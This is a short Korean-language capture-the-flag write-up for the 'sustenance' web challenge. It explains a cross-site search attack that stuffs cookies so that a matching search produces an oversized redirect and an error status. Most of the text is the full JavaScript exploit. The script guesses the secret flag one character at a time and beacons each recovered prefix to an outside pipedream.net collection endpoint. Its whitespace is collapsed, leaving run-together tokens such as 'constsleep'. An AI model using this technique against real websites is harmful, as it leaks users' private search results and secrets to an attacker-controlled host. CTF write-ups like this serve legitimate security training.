다음 스크립트는 여기에서 가져온 것으로, 사용자가 임의의 양의 쿠키를 삽입할 수 있는 기능을 악용하고, 그런 다음 실제 응답이 잘못된 응답보다 더 클 것이라는 것을 알고 파일을 스크립트로 로드합니다. 성공하면 응답은 리디렉션이며 결과 URL이 더 길어져서 서버에서 처리하기에는 너무 커서 오류 HTTP 상태 코드를 반환합니다. 검색이 실패하면 URL이 짧기 때문에 아무 일도 일어나지 않습니다.
<>'";<formaction='https://sustenance.web.actf.co/s'method=POST><inputid=f /><inputname=searchvalue=a /></form><script>const$=document.querySelector.bind(document);constsleep= (ms) =>newPromise(r =>setTimeout(r, ms));let i =0;conststuff=async (len=3500) => {let name =Math.random();$("form").target = name;let w =window.open('', name);$("#f").value ="_".repeat(len);$("#f").name = i++;$("form").submit();awaitsleep(100);};constisError=async (url) => {returnnewPromise(r => {let script =document.createElement('script');script.src = url;script.onload= () =>r(false);script.onerror= () =>r(true);document.head.appendChild(script);});}constsearch= (query) => {returnisError("https://sustenance.web.actf.co/q?q="+encodeURIComponent(query));};constalphabet="etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";consturl="//en4u1nbmyeahu.x.pipedream.net/";let known ="actf{";window.onload=async () => {navigator.sendBeacon(url +"?load");awaitPromise.all([stuff(),stuff(),stuff(),stuff()]);awaitstuff(1600);navigator.sendBeacon(url +"?go");while (true) {for (let c of alphabet) {let query = known + c;if (awaitsearch(query)) {navigator.sendBeacon(url, query);known += c;break;}}}};</script>